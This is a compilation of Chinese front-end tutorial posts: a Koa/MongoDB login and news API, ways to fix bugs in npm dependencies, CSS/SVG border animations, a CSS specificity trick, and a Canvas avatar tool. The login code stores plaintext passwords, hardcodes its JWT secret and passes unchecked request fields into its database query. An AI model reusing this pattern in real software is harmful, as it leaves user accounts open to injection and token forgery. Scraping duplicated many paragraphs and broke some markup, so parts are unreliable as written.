} else {
// console.log(`invalid URL: ${url}`);
}
}
}
function addControllers (router, dir) {
fs.readdirSync(__dirname + '/' + dir)
.filter(f => {
return f.endsWith('.js')
})
.forEach(f => {
// console.log(`process controller: ${f}...`);
let mapping = require(__dirname + '/' + dir + '/' + f)
addMapping(router, mapping)
})
}
module.exports = function (dir) {
let controllers_dir = dir || 'controllers',
router = require('koa-router')()
addControllers(router, controllers_dir)
return router.routes`()`
}
controller讲解
在这个controller中,我们主要做了一件事,那就是路由映射逻辑处理。
function addControllers()
这个方法用于自动加载指定目录下的js文件,它使用fs.readdirSync
读取目录,然后通过filter
和forEach
方法来处理每个文件名,只选择以.js
结尾的文件,并将这些文件的路由映射添加到router
上
function addMapping()
这个函数用于将HTTP方法(如GET、POST、PUT、DELETE)和对应的URL路径映射到处理函数上。它遍历传入的mapping
对象,根据URL的前缀(如GET
、POST
等)来确定使用哪个HTTP方法,并将路径和处理函数注册到router
上。
controllers下路由POST方法
const jwt = require('jsonwebtoken')
module.exports = {
'POST /login': async (ctx, next) => {
var key = ctx.request.body
if (key.username && key.password) {
return new Promise(function (resolve, reject) {
var MongoClient = require('mongodb').MongoClient
var MG_URL = 'mongodb://***********/'
MongoClient.connect(
MG_URL,
{ useUnifiedTopology: true },
function (err, db) {
if (err) throw err
var dbo = db.db('website')
dbo
.collection('user')
.find({ username: key.username, password: key.password })
.toArray(function (err, result) {
if (result.length) {
const TOKEN = jwt.sign(
{
name: result[0].username
},
'MY_TOKEN',
{ expiresIn: '24h' }
)
let data = {
username: result[0].username,
token: TOKEN
}
ctx.response.body = {
result: 1,
status: 200,
code: 200,
data: data
}
} else {
ctx.response.body = {
result: 0,
status: 200,
code: 0,
msg: '该用户不存在'
}
}
if (err) throw err
resolve(result)
db.close()
})
}
)
})
} else {
ctx.response.body = {
result: 0,
status: 200,
code: 0,
msg: 'error'
}
}
}
}
这是一个登录的login方法,用POST进行请求。在这个地方用了一下mongodb数据库存储。在api接口请求login方法时,获取请求中所携带的参数进行解析,并判断此用户以及密码是否在我们的数据库中,如果存在返回成功的提示以及相关数据,如果错误,则提示错误。当然如果还不会数据库的使用,可以去除数据库相关部分,直接用本地json数据,这个比较简单,就是fs读取本地json文件,然后返回给api接口。不在此做详细说明。
controllers下路由GET方法
module.exports = {
'GET /getNews': async (ctx, next) => {
return new Promise(function (resolve, reject) {
var MongoClient = require('mongodb').MongoClient
var MG_URL = 'mongodb://********'
MongoClient.connect(
MG_URL,
{ useUnifiedTopology: true },
function (err, db) {
if (err) throw err
var dbo = db.db('website')
dbo
.collection('news')
.find({})
.toArray(function (err, result) {
if (result.length) {
ctx.response.body = {
result: 1,
status: 200,
code: 1,
data: result
}
} else {
ctx.response.body = {
result: 0,
status: 200,
code: 0,
msg: '暂无数据'
}
}
if (err) throw err
resolve(result)
db.close()
})
}
)
})
}
}
这是一个获取新闻的getNews方法,用GET请求。主要用来查询数据库中的list的信息。DELETE,PUT等方法不在此处贴出更多源码。
数据库首推mondodb
- 面向集合存储,易存储对象类型的数据。
- 模式自由。
- 高性能、易部署、易使用。
- 文档型数据结构灵活,适应不同类型的数据。
- 支持动态查询。
- 非关系型数据库。
学习推荐
为啥选择MongoDB数据库,相对来说操作还是比较简单,而且存储的数据类型都是对象的形式,前端可以轻松拿捏。在这里直接推荐菜鸟的mongodb教程,看名字就知道,这是一个适合菜鸟初步学习的地方。讲解也比较详细,学完上面的内容,用mongodb数据库进行基本的数据存储和操作已经没有问题了。
总结
通过以上的分享,其实对大多数前端来说,开启一个简单的后端服务和接口请求,已经可以开箱即用了。想要完整的学习代码,也可以私信我。虽然不是很完善,但麻雀虽小五脏俱全。
思考
在前端行业已经接7载。曾经害怕java的恐惧而转入前端行业,所有受到鄙视也是有一部分原因吧,毕竟自己曾经年少无知,害怕吃苦选择了一个稍微简单的前端就稀里糊涂的就业了,保命要紧。但是在后来又想改变这个鄙视链,自己就开始了nodejs的学习,python的学习,数据库MongoDB,MySQL,PostgreSQL。学不完,压根学不完。
后面再无尽的内卷中,有的做开发不是自己的路,也想做做管理,毕竟前端做到前端组长就已经是极限了,在公司以java为尊的环境下,想做更高的级别几乎不可能。毕竟自己算是耿直死宅,不善交际,讨不到大领导的喜爱。然后又开始了原型的学习,PMP项目管理证书的考取(进行中),也曾有单独出去做产品的想法,面试过一个,但是与自己的预期薪资相差太大,没去。
来源:juejin.cn/post/7415654362993639439
如果你使用的第三方库有bug,你会怎么办
早上好,中午好,晚上好
在当今的前端工程化领域,第三方库的使用已经成为标配。然而,不可避免的是,这些库可能会存在bug,或者是库的一些功能并不能满足需要,需要修改库的某个功能,或添加功能。当遇到这种情况时,我们应该如何应对?本文将介绍三种解决第三方库bug的方法,并重点介绍使用patch-package
库来修复bug的全过程。
在当今的前端工程化领域,第三方库的使用已经成为标配。然而,不可避免的是,这些库可能会存在bug,或者是库的一些功能并不能满足需要,需要修改库的某个功能,或添加功能。当遇到这种情况时,我们应该如何应对?本文将介绍三种解决第三方库bug的方法,并重点介绍使用patch-package
库来修复bug的全过程。
方法一:提issues给第三方库的作者,让作者修复
这个方式是比较常见的解决方式了,但有几个缺点:
- 库作者不维护这个库了,那提issues自然就没有人close了,gg
- 库作者很忙,或者项目缺乏活跃的贡献者,导致问题可能长时间都不懂响应,那如果你这个项目很急的话,那gg
- bug或者功能的优先级不高,库作者先解决其他高优先级的,或者他不接受你的建议或者及时修复问题,那gg
- 还有可能出现的沟通成本,以确保库作者完全理解了问题的本质和重要性。
那如果库作者很勤奋,每天都在维护,对issues的问题,都满怀热情的进行解决,那我们可以按照以下流程进行提issues:
- 发现bug:在使用第三方库时,发现了一个bug。
- 复现bug:在本地环境中尝试复现该bug,并记录详细的复现步骤。
- 提交issues:访问第三方库的GitHub仓库,点击“New issue”按钮,填写以下信息:
- 标题:简洁地描述bug现象。
- 描述:详细描述bug的复现步骤、预期结果和实际结果。
- 环境:列出你的操作系统、浏览器版本、库的版本等信息。
- 等待回复:作者可能会要求你提供更多信息,或者告诉你解决方案。耐心等待并积极配合。nice
这个方式是比较常见的解决方式了,但有几个缺点:
- 库作者不维护这个库了,那提issues自然就没有人close了,gg
- 库作者很忙,或者项目缺乏活跃的贡献者,导致问题可能长时间都不懂响应,那如果你这个项目很急的话,那gg
- bug或者功能的优先级不高,库作者先解决其他高优先级的,或者他不接受你的建议或者及时修复问题,那gg
- 还有可能出现的沟通成本,以确保库作者完全理解了问题的本质和重要性。
那如果库作者很勤奋,每天都在维护,对issues的问题,都满怀热情的进行解决,那我们可以按照以下流程进行提issues:
- 发现bug:在使用第三方库时,发现了一个bug。
- 复现bug:在本地环境中尝试复现该bug,并记录详细的复现步骤。
- 提交issues:访问第三方库的GitHub仓库,点击“New issue”按钮,填写以下信息:
- 标题:简洁地描述bug现象。
- 描述:详细描述bug的复现步骤、预期结果和实际结果。
- 环境:列出你的操作系统、浏览器版本、库的版本等信息。
- 等待回复:作者可能会要求你提供更多信息,或者告诉你解决方案。耐心等待并积极配合。nice
方法二:fork第三方库,修复好bug后,发布到npm,项目下载自己发布的npm包
这个方式也有局限性:
- 维护负担:一旦你fork了库,你需要负责维护这个分支,包括合并上游的更新和修复新出现的bug。
- 长期兼容性:随着时间的推移,原库和新fork的库可能会出现分歧,使得合并更新变得更加困难。
- 版本管理:需要管理自己发布的npm包版本,确保它与其他依赖的兼容性。
- 社区隔离:使用自己的fork可能会减少与原社区的合作机会,错过原库的其他改进和特性。
那如果你觉得这个方式很不错,那最佳实践是这样的:
这个方式也有局限性:
- 维护负担:一旦你fork了库,你需要负责维护这个分支,包括合并上游的更新和修复新出现的bug。
- 长期兼容性:随着时间的推移,原库和新fork的库可能会出现分歧,使得合并更新变得更加困难。
- 版本管理:需要管理自己发布的npm包版本,确保它与其他依赖的兼容性。
- 社区隔离:使用自己的fork可能会减少与原社区的合作机会,错过原库的其他改进和特性。
那如果你觉得这个方式很不错,那最佳实践是这样的:
步骤 1: Fork 原始库
- 访问原始库的GitHub页面。
- 点击页面上的“Fork”按钮,将库复制到你的GitHub账户下。
- 访问原始库的GitHub页面。
- 点击页面上的“Fork”按钮,将库复制到你的GitHub账户下。
步骤 2: 克隆你的Fork
git clone https://github.com/your-username/original-repo.git
cd original-repo
git clone https://github.com/your-username/original-repo.git
cd original-repo
步骤 3: 设置上游仓库
git remote add upstream https://github.com/original-owner/original-repo.git
这样当作者更新维护库的时候,可以获取上游仓库的最新更新。
git remote add upstream https://github.com/original-owner/original-repo.git
这样当作者更新维护库的时候,可以获取上游仓库的最新更新。
步骤 4: 创建特性分支
git checkout -b fix-bug-branch
git checkout -b fix-bug-branch
步骤 5: 修复Bug
在这个分支上,进行必要的代码更改来修复bug。
在这个分支上,进行必要的代码更改来修复bug。
步骤 6: 测试更改
在本地环境中测试你的更改,确保修复了bug并且没有引入新的问题。
在本地环境中测试你的更改,确保修复了bug并且没有引入新的问题。
步骤 7: 提交并推送更改
git add .
git commit -m "Fix bug description"
git push origin fix-bug-branch
git add .
git commit -m "Fix bug description"
git push origin fix-bug-branch
步骤 8: 创建Pull Request(可选)
如果你希望原始库接受你的修复,可以向上游仓库创建一个Pull Request。
如果你希望原始库接受你的修复,可以向上游仓库创建一个Pull Request。
步骤 9: 发布到NPM
如果原始库没有接受你的PR,或者你需要立即使用修复,可以发布到NPM:
- 登录到NPM。
npm login
这个地方有个坑点,就是你使用了npm镜像需要将镜像更改为npm官方仓库:
npm config set registry https://registry.npmjs.org
- 修改
package.json
中的名称,避免与原始库冲突,例如添加你的用户名前缀。
{
"name": "@your-username/original-repo",
// ...
}
- 更新版本号。
npm version patch
- 发布到NPM。
npm publish
如果原始库没有接受你的PR,或者你需要立即使用修复,可以发布到NPM:
- 登录到NPM。
npm login
这个地方有个坑点,就是你使用了npm镜像需要将镜像更改为npm官方仓库:
npm config set registry https://registry.npmjs.org
- 修改
package.json
中的名称,避免与原始库冲突,例如添加你的用户名前缀。
{
"name": "@your-username/original-repo",
// ...
}
npm version patch
npm publish
步骤 10: 在你的项目中使用Forked库
在你的项目package.json
中,将依赖项更改为你的forked版本。
{
"dependencies": {
"original-repo": "^1.0.0",
"@your-username/original-repo": "1.0.1"
}
}
步骤 11: 维护你的Fork
定期从上游仓库合并更新到你的fork,以保持与原始库的同步。
git checkout master
git pull upstream master
git push origin master
最佳实践总结
- 保持与上游仓库的同步。
- 清晰地记录你的更改和发布。
- 为你的fork创建文档,说明它与原始库的区别。
- 考虑长期维护策略,如果可能,尽量回归到官方版本。
方法三:使用patch-package库来修复
patch-package
是一个非常有用的 npm 包,它允许我们在没有修改原始 npm 依赖包的情况下,对 npm 依赖进行修复或自定义。这在以下场景中特别有用:
- 当你发现一个第三方库的 bug,但作者还没有修复它,或者修复后的版本尚未发布。
- 当你需要对第三方库进行微小的定制,而不想维护一个完整的分支或分叉。
patch-package 的工作原理
patch-package
的工作流程通常如下:
- 修改
node_modules
中的依赖包文件。 - 运行
patch-package
命令,它会生成一个补丁文件,通常是.patch
文件,保存在项目根目录下的patches
文件夹中。 - 在
package.json
的scripts
部分添加一个脚本来应用这些补丁,通常是在postinstall
阶段。 - 将生成的
.patch
文件提交到版本控制系统中。 - 当其他开发者运行
npm install
或yarn
安装依赖时,或者 CI/CD 系统构建项目时,这些补丁会被自动应用。
但使用这种方式也有前提:
1. 潜在冲突:如果第三方库的官方更新解决了相同的bug,但采用了不同的方法,那么你的补丁可能会与这些更新冲突
2. 库没有源码:这种方式是在node_modules里对应的包进行修改,如果包是压缩后的,那就没办法改了,所以只能针对node_modules里的包有源码的情况下。
最佳实践:
步骤 1:安装patch-package postinstall-postinstall
postinstall-postinstall
,作用是 postinstall
脚本在 Yarn 安装过程中运行。
yarn add patch-package postinstall-postinstall --dev
步骤 2:配置 package.json
在你的 package.json
文件中,添加一个 postinstall
脚本来确保在安装依赖后应用补丁:
"scripts": {
"postinstall": "patch-package"
}
步骤 3:修复依赖包中的 bug
假如vue3有个bug,我们直接在 node_modules/vue/xxx
中修复这个 bug。
步骤 4:创建补丁
修复完成后,我们运行以下命令来生成补丁:
npx patch-package example-lib
这会在项目根目录下创建一个 patches
文件夹,并在其中生成一个名为 vue+3.4.29.patch
的文件(假设vue当前库的版本是3.4.29)。
步骤 5:提交补丁文件到代码库中
现在,我们将 patches
文件夹和里面的 .patch
文件提交到版本控制系统中。
git add patches/example-lib+1.0.0.patch
git commit -m "Add patch for vue3.4.29"
git push
步骤 6:安装依赖并应用补丁
就是其他同事在下载项目或者更新依赖后,postinstall
脚本会自动运行,并应用补丁。
npm install
# 或者
yarn install
当 npm install
或 yarn install
完成后,patch-package
会自动检测 patches
文件夹中的补丁,并将其应用到对应的依赖上。
志哥我想说
遇到第三方库的bug时,我们可以选择提issues、fork并发布自己的npm包,或者使用patch-package
进行本地修复。当然你还可以有:
- 使用替代库
- 社区支持
每种方法都有其适用场景,根据实际情况选择最合适的方法。希望本文能帮助你更好地应对第三方库的bug问题,或者面试
或者技术分享
等。
来源:juejin.cn/post/7418797840796254271
抖音自动进入直播间的动画挺有意思的,看看有多少种方式可以实现
在刷抖音的时候,发现有一个直播的专属导航页签,切换到这个页签之后,刷出来的内容全都是直播,不过都是在“门外”观看,没有进入直播间;
短暂的停留之后,会出现一个自动进入直播间的提示,并且有一个描边动画,动画结束之后,就会进入直播间,今天我就尝试通过多种方式来实现这个动画效果。
1. 渐变实现
效果如上图所示,渐变需要使用到的是conic-gradient
锥形渐变,文档地址:conic-gradient
代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<style>
html,
body {
height: 100%;
margin: 0;
}
body {
display: flex;
justify-content: center;
align-items: center;
background: linear-gradient(90deg, #1F1C2C 0%, #928DAB 100%);
color: #fff;
}
.wrap {
position: relative;
background-color: rgba(255, 255, 255, 0.2);
width: fit-content;
padding: 10px 20px;
border-radius: calc(1em + 10px);
}
/*使用自定义属性来控制进度*/
@property --offset {
syntax: "<length-percentage>";
inherits: false;
initial-value: 0;
}
.wrap.gradient-animation {
overflow: hidden;
/*和普通 css 变量一样使用即可*/
background-image:
conic-gradient(
#fff 0%,
#fff var(--offset),
transparent var(--offset) 100%
);
}
/*需要使用一个遮挡来挡住多余的部分,只保留描边部分*/
.wrap.gradient-animation::before {
content: ' ';
position: absolute;
top: 2px;
left: 2px;
right: 2px;
bottom: 2px;
background: #1F1C2C;
border-radius: inherit;
z-index: 0;
}
.wrap.gradient-animation:hover {
animation: gradient 5s linear 1 forwards;
}
@keyframes gradient {
0% {
--offset: 0;
}
100% {
--offset: 100%;
}
}
</style>
</head>
<body>
<div class="wrap gradient-animation">
<!-- 需要控制层级显示 -->
<span style="position: relative; z-index: 1;">自动进入直播间</span>
</div>
</body>
</html>
conic-gradient
的技术细节就不展开了,感兴趣的可以自行查阅文档,这里主要的技术点在于--offset
这个自定义属性,因为渐变本身是不支持动画的,所以需要借助这个自定义属性来实现动画效果,文档地址:@property
这里的效果其并不是很理想,因为conic-gradient
的渐变是一个圆形的渐变,而实际效果是边框的一个描边,所以需要使用一个遮罩来挡住多余的部分,只保留描边部分。
由于使用了伪元素来实现遮罩,所以还需要控制层级显示,避免遮罩挡住了文字,并且原效果是透明的背景,这里使用遮罩层之后背景就不能是透明的了,而且动画在每一个部分执行的时间都不连贯。
可以说这种方式有很多的局限性,所以我们来看看下一种方式。
2. 渐变加 mask 实现
渐变加mask
的实现思路和上面的类似,主要是解决了上面的背景半透明的问题,文档地址:mask
代码如下:
<div class="wrap gradient-mask">
<span style="position: relative; z-index: 1;">自动进入直播间</span>
</div>
.wrap.gradient-mask::before {
content: ' ';
position: absolute;
inset: 0;
background-color: rgba(255, 255, 255, 0.1);
background-image: conic-gradient(
#fff 0%,
#fff var(--offset),
transparent var(--offset) 100%
);
border-radius: inherit;
mask-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg'><rect width='150' x='1' y='1' height='40' rx='20' fill='transparent' stroke='red' stroke-width='2' stroke-alignment='outside'/></svg>");
mask-size: 100% 100%;
mask-repeat: no-repeat;
}
.wrap.gradient-mask:hover::before {
animation: gradient 5s linear 1 forwards;
}
这里把效果整体迁移到了::before
伪元素上,使用mask-image
里面加了一个svg
来处理描边的问题,这样就不需要使用遮罩来挡住多余的部分,只保留描边部分。
但是这里的问题也很明显,那就是svg
并不能很好的响应式,而且因为svg
的其他原因,导致描边的边宽有点被裁剪,这里也只是提供一个思路,并不是最佳实践。
3. 使用 svg 实现
上面都已经使用到了svg
作为遮罩,那么直接使用svg
更简单直接,这种情况个人也比较推荐,代码如下:
<div class="wrap svg">
<svg xmlns="http://www.w3.org/2000/svg">
<rect width="150" x="1" y="1" height="40" rx="20" stroke="rgba(255, 255, 255, 0.1)" stroke-width="2" />
<rect width="150" x="1" y="1" height="40" rx="20" class="rect" />
</svg>
<span style="position: relative; z-index: 1;">自动进入直播间</span>
</div>
.wrap.svg svg {
position: absolute;
inset: 0;
width: 100%;
height: 100%;
}
.wrap.svg svg > rect {
width: calc(100% - 2px);
height: calc(100% - 2px);
fill: transparent;
stroke-width: 2;
}
.wrap.svg svg > .rect {
stroke-dasharray: 350;
stroke-dashoffset: 350;
stroke: white;
stroke-width: 2;
}
.wrap.svg:hover svg > .rect {
transition: stroke-dashoffset 5s linear;
stroke-dashoffset: 0;
}
svg
的描边效果主要是通过stroke-dasharray
和stroke-dashoffset
来实现的,svg
描边效果也是一个非常有趣的实现。
stroke-dasharray
是用来控制虚线的,这个值越大,虚线之间的间隔也越大,大到一定程度这个虚线就正好将整个形状包裹住。
stroke-dashoffset
是用来控制虚线的偏移量,当这个值等于stroke-dasharray
的时候,虚线就会完全消失,等于0
的时候,虚线就会完全显示。
根据svg
的特性,描边是在形状的外部,所以最外层有一个半透明的边框路径显示的并不完全,需要通过一些技巧来处理。
所以上面的代码会有两个rect
,一个是用来描边的,一个是用来做半透明的边框的,这样就可以实现一个比较完美的描边动画效果。
但是上面的描边起点和终点都是在左上角,如果需要在中间的话,可以通过path
来实现,感兴趣的可以自行尝试,这里提供path
的代码:
<svg viewBox="0 0 600 150" xmlns="http://www.w3.org/2000/svg">
<path d="M 100 0 L 500 0 A 50 50 0 1 1 500 150 L 100 150 A 50 50 0 1 1 100 0 Z" fill="transparent" stroke="rgba(255, 255, 255, 0.1)" stroke-width="2" />
</svg>
path
需要微调,因为没有贴边,可以使用一些在线网站来进行调整,比如:svg-path-editor,可自行探索。
总结
这一篇文章通过多种方式来实现一个描边动画效果,主要技术有:
conic-gradient
锥形渐变,本身渐变是不支持动画的,但是我们可以通过自定义属性来实现动画效果;mask
遮罩,mask
本身其实和背景图的使用方式差不多,但是mask
主要用来遮挡多余的部分,在这里我们使用mask
来遮挡主要部分,只保留描边部分来实现动画效果;svg
描边,svg
描边是一个非常有趣的技术,通过stroke-dasharray
和stroke-dashoffset
来实现描边动画效果,这种方式是最推荐的。
当然肯定还有其他的方式来实现这个效果,这里只是提供了一些思路,希望对大家有所帮助。
来源:juejin.cn/post/7420814883576414259
抛弃 `!important` 吧,一个更友好的技巧让你的 CSS 优先级变大
原文:Double your specificity with this one weird trick
在一个理想的世界里,我们的 CSS 代码组织得井井有条,易于维护。然而,现实往往大相径庭。你的 CSS 代码是完美的,但其他人那些烦人的 CSS 可能会与你的风格冲突,或者应用了你不需要的样式。
此外,你可能也无法修改那些 CSS。也许它来自你正在使用的 UI 库,也许是一些第三方的小组件。
更糟糕的是,HTML 也不受你控制,添加一些额外的 class
或 id
属性来覆盖样式也并不可行。
不知不觉中,你被卷入了一场 CSS 优先级之战。你的选择器需要优先于他们的选择器。开发者很容易被『诱惑 😈』去使用 !important
,但你知道这是不好的实践,我们能不能有一种更优雅的方式来实现我们覆盖的诉求?
本文将教给你一个技巧,可以用一种不是很 hacky 的方式应对这些情况 👩💻。
示例 🔮
假设你正在开发一个网站,该网站有一个新闻订阅表单。它包含一个复选框,但复选框的位置有点偏。你需要修正这个问题,但注册表单是一个嵌入到页面上的第三方组件,你无法直接修改它的 CSS。
通过浏览器检查复选框,确定只要改变它的 top
位置即可。当前的位置是通过选择器.newsletter .newsletter__checkbox .checkbox__icon
设置的,它的权重为 (0,3,0)
。
一开始你可能会使用相同的选择器来修改 top
值:
/* 覆盖新闻通讯复选框的顶部位置 */
.newsletter .newsletter__checkbox .checkbox__icon {
top: 5px;
}
当 CSS 的顺序是固定的,并且你可以保证你的 CSS 规则一定在他们的后面的情况下,这足够了。因为『后来居上』:即如果有多个相同的 CSS 选择器选择了同一个DOM元素,那么最后出现的将“获胜”。
然而,大多数时候你无法保证代码顺序。此时你需要增加选择器的优先级。你可以在 DOM 中寻找一些额外的类名,一般从父元素中添加:
/* 更多的类名!权重现在是(0,4,0) */
.parent-thing .newsletter .newsletter__checkbox .checkbox__icon {
top: 5px;
}
或者你发现这个元素恰好是一个 ,可以将其加入选择器提高优先级:
/* 权重现在是 (0,3,1) */
.newsletter .newsletter__checkbox span.checkbox__icon {
top: 5px;
}
但所有这些方法都有副作用,都会使你的代码变得脆弱。如果 .parent-thing
突然不见了呢,比如你升级了某个外部依赖(比如 antd 😅)?或者如果 .checkbox__icon
从 span
改成了不同的元素怎么办?突然间,你的高优先级选择器什么也选不到了!
当浏览器计算 CSS 选择器优先级时,它们本质上是在计算你组合了多少 ID
、类
、元素
或等效选择器。实际上可以多次重复同一个选择器,每次重复都会增加权重。CSS 选择器 Level 4 规范 写到:
CSS 选择器允许多次出现相同的简单选择器,而且可以增加权重。
因此,你可以通过重复(三次、四次……)相同的选择器提高权重:
/* 双重 .checkbox__icon!权重现在是 (0,4,0) */
.newsletter .newsletter__checkbox .checkbox__icon.checkbox__icon {
top: 5px;
}
注意
.checkbox__icon.checkbox__icon
中没有空格!它是一个选择器,因为你针对的是具有那个类的单个元素
现在你可以简单地重复几次选择器来提升优先级!
译者注:该技巧其实在 MDN !important 章节 有示例(以下示例重复了3次
#myElement
):
#myElement#myElement#myElement .myClass.myClass p:hover {
color: blue;
}
p {
color: red !important;
}
在 HTML 中重复 🚫
注意,这个技巧只在 CSS 中有效!在 HTML 中重复相同的类名对优先级没有任何影响。
<div class="badger badger badger">
Mushroom!
div>
总结 🎯
CSS 可以多次重复同一个选择器,每次重复都会增加权重 🏋️♂️
这种 CSS 技巧是否有点 hack?也许是。然而我认为它让我们:
- 避免诉诸于
!important
- 『就近原则』提高可读性:重复多次的选择器,这样代码的意图对读者来说更清晰
- 这种模式让你很容易在代码中找到其他人的 CSS 覆盖,如果不再需要我们可以放心删除
只要你不过度使用它,我认为这是一个完全合法且 Robust 的技巧至少相比我们之前学会的所有技巧,下次处理棘手的覆盖三方样式情况时可以考虑用一用。
是否还有更好的解决办法?其实有,@layer 是官方推荐的最佳实践但是兼容性不好 Chrome>=99,而且使用场景有限。
来源:juejin.cn/post/7411686792342618153
想弄一个节日头像,结果全是广告!带你用 Canvas 自己制作节日头像
一、为什么要自己制作节日头像?
很多人想为节日换上特别的头像,尤其是在国庆这样的节日气氛中,给自己的WX头像添加节日元素成为了不少人的选择。最初我也以为只需通过一些WX公众号简单操作,就能轻松给头像加上节日图案,比如国庆节、圣诞节头像等。然而,实际体验却很糟糕——广告无处不在!每一步操作几乎都被强制插入广告打断,不仅浪费时间,体验也非常差。
为了避开这些广告,享受更自由、更个性化的制作过程,我决定分享一个不用看广告的好方法:使用 Canvas 自己动手制作一个专属的节日头像!
很多人想为节日换上特别的头像,尤其是在国庆这样的节日气氛中,给自己的WX头像添加节日元素成为了不少人的选择。最初我也以为只需通过一些WX公众号简单操作,就能轻松给头像加上节日图案,比如国庆节、圣诞节头像等。然而,实际体验却很糟糕——广告无处不在!每一步操作几乎都被强制插入广告打断,不仅浪费时间,体验也非常差。
为了避开这些广告,享受更自由、更个性化的制作过程,我决定分享一个不用看广告的好方法:使用 Canvas 自己动手制作一个专属的节日头像!
二、源码 & 在线体验
三、 实现的功能与后续发展
在解决了广告干扰的问题后,我通过 Canvas 实现了多个实用功能,让大家可以轻松制作个性化的节日头像:
- 头像裁剪功能
- 头像与框架的拼接
- 头像框透明度调节
- 头像框颜色过滤(可自定义头像框)
- 后续发展:Fabric.js 自定义贴图功能
- 后续发展:更新更多节日的头像 & 贴图
在解决了广告干扰的问题后,我通过 Canvas 实现了多个实用功能,让大家可以轻松制作个性化的节日头像:
- 头像裁剪功能
- 头像与框架的拼接
- 头像框透明度调节
- 头像框颜色过滤(可自定义头像框)
- 后续发展:Fabric.js 自定义贴图功能
- 后续发展:更新更多节日的头像 & 贴图
四、当前素材及投稿征集
展示目前头像框素材,也欢迎大家投稿,我也会陆续更进头像框(项目中头像框已进行分类,这里为了方便展示,也可以自定义头像框)
展示目前头像框素材,也欢迎大家投稿,我也会陆续更进头像框(项目中头像框已进行分类,这里为了方便展示,也可以自定义头像框)
1. 头像框
2. 贴图
五、代码实现
整体逻辑非常简单 : 头像 + 头像框 = 所需头像
整体逻辑非常简单 : 头像 + 头像框 = 所需头像
1. 头像裁剪功能
页面部分
- 使用
:width
来根据设备类型设置宽度(device === DeviceEnum.MOBILE ? '95%' : '42%'
)。
用于图像裁剪功能。- 底部有文件上传和旋转按钮。
<template>
<el-dialog
v-model="dialog.visible"
:width="device === DeviceEnum.MOBILE ? '95%' : '42%'"
class="festival-avatar-upload-dialog"
destroy-on-close
draggable
overflow
title="上传头像"
>
<div style="height: 45vh">
<vue-cropper
ref="cropper"
:autoCrop="true"
:centerBox="true"
:fixed="true"
:fixedNumber="[1,1]"
:img="imgTemp"
:outputType="'png'"
/>
div>
<template #footer>
<div class="festival-avatar-dialog-options">
<el-button @click="uploadAvatar">
<el-icon style="margin-right: 5px;">
<UploadFilled/>
el-icon>
上传头像
<input ref="avatarUploaderRef" accept="image/*" class="avatar-uploader" name="file" type="file"
@change="handleFileChange">
el-button>
<el-button @click="rotateLeft">
<el-icon><RefreshLeft/>el-icon>
el-button>
<el-button @click="rotateRight">
<el-icon><RefreshRight/>el-icon>
el-button>
<el-button type="primary" @click="submitForm">提 交el-button>
div>
template>
el-dialog>
template>
- 使用
:width
来根据设备类型设置宽度(device === DeviceEnum.MOBILE ? '95%' : '42%'
)。
用于图像裁剪功能。- 底部有文件上传和旋转按钮。
<template>
<el-dialog
v-model="dialog.visible"
:width="device === DeviceEnum.MOBILE ? '95%' : '42%'"
class="festival-avatar-upload-dialog"
destroy-on-close
draggable
overflow
title="上传头像"
>
<div style="height: 45vh">
<vue-cropper
ref="cropper"
:autoCrop="true"
:centerBox="true"
:fixed="true"
:fixedNumber="[1,1]"
:img="imgTemp"
:outputType="'png'"
/>
div>
<template #footer>
<div class="festival-avatar-dialog-options">
<el-button @click="uploadAvatar">
<el-icon style="margin-right: 5px;">
<UploadFilled/>
el-icon>
上传头像
<input ref="avatarUploaderRef" accept="image/*" class="avatar-uploader" name="file" type="file"
@change="handleFileChange">
el-button>
<el-button @click="rotateLeft">
<el-icon><RefreshLeft/>el-icon>
el-button>
<el-button @click="rotateRight">
<el-icon><RefreshRight/>el-icon>
el-button>
<el-button type="primary" @click="submitForm">提 交el-button>
div>
template>
el-dialog>
template>
代码逻辑部分(核心部分)
imgTemp
用来存储上传的临时图片数据。handleFileChange
处理文件上传事件,校验文件类型并使用 FileReader
读取图片数据,并本地存储。rotateLeft
和 rotateRight
分别用于左旋和右旋图片。
// 省略部分属性定义
const imgTemp = ref<string>("") // 临时图片数据
const cropper = ref(); // 裁剪实例
const avatarUploaderRef = ref<HTMLInputElement | null>(null); // 上传头像 input 引用
// 上传头像功能
function uploadAvatar() {
avatarUploaderRef.value?.click(); // 点击 input 触发上传
}
// 上传文件前校验 : 略
// 处理文件上传
function handleFileChange(event: Event) {
const input = event.target as HTMLInputElement;
if (input.files && input.files[0]) {
const file = input.files[0];
if (!beforeAvatarUpload(file)) return;
const reader = new FileReader();
reader.onload = (e: ProgressEvent ) => {
imgTemp.value = e.target?.result as string; // 读取的图片数据赋给 imgTemp
};
reader.readAsDataURL(file);
}
}
// 旋转功能
function rotateLeft() {
cropper.value?.rotateLeft();
}
const rotateRight = () => {
cropper.value?.rotateRight();
};
imgTemp
用来存储上传的临时图片数据。handleFileChange
处理文件上传事件,校验文件类型并使用FileReader
读取图片数据,并本地存储。rotateLeft
和rotateRight
分别用于左旋和右旋图片。
// 省略部分属性定义
const imgTemp = ref<string>("") // 临时图片数据
const cropper = ref(); // 裁剪实例
const avatarUploaderRef = ref<HTMLInputElement | null>(null); // 上传头像 input 引用
// 上传头像功能
function uploadAvatar() {
avatarUploaderRef.value?.click(); // 点击 input 触发上传
}
// 上传文件前校验 : 略
// 处理文件上传
function handleFileChange(event: Event) {
const input = event.target as HTMLInputElement;
if (input.files && input.files[0]) {
const file = input.files[0];
if (!beforeAvatarUpload(file)) return;
const reader = new FileReader();
reader.onload = (e: ProgressEvent ) => {
imgTemp.value = e.target?.result as string; // 读取的图片数据赋给 imgTemp
};
reader.readAsDataURL(file);
}
}
// 旋转功能
function rotateLeft() {
cropper.value?.rotateLeft();
}
const rotateRight = () => {
cropper.value?.rotateRight();
};
实现效果图
2. 头像与头像框合并
页面部分 (核心部分)
compositeAvatar
为组合头像 , avatarData
为头像数据 ,compositeCanvas
头像 Canvas , avatarFrameCanvas
头像框 Canvas- 在没有
compositeAvatar
的时候展示 avatarData
, 没有 avatarData
提示用户点击 PLUS
的图片
<div class="festival-avatar-preview">
<div class="festival-avatar-preview__plus" @click="openAvatarDialog">
<img v-if="compositeAvatar" :src="compositeAvatar" alt="合成头像"/>
<img v-else-if="avatarData" :src="avatarData" alt="头像"/>
<el-icon v-else color="#8c939d" size="28">
<Plus>Plus>
el-icon>
div>
div>
<canvas ref="compositeCanvas" style="display: none;">canvas>
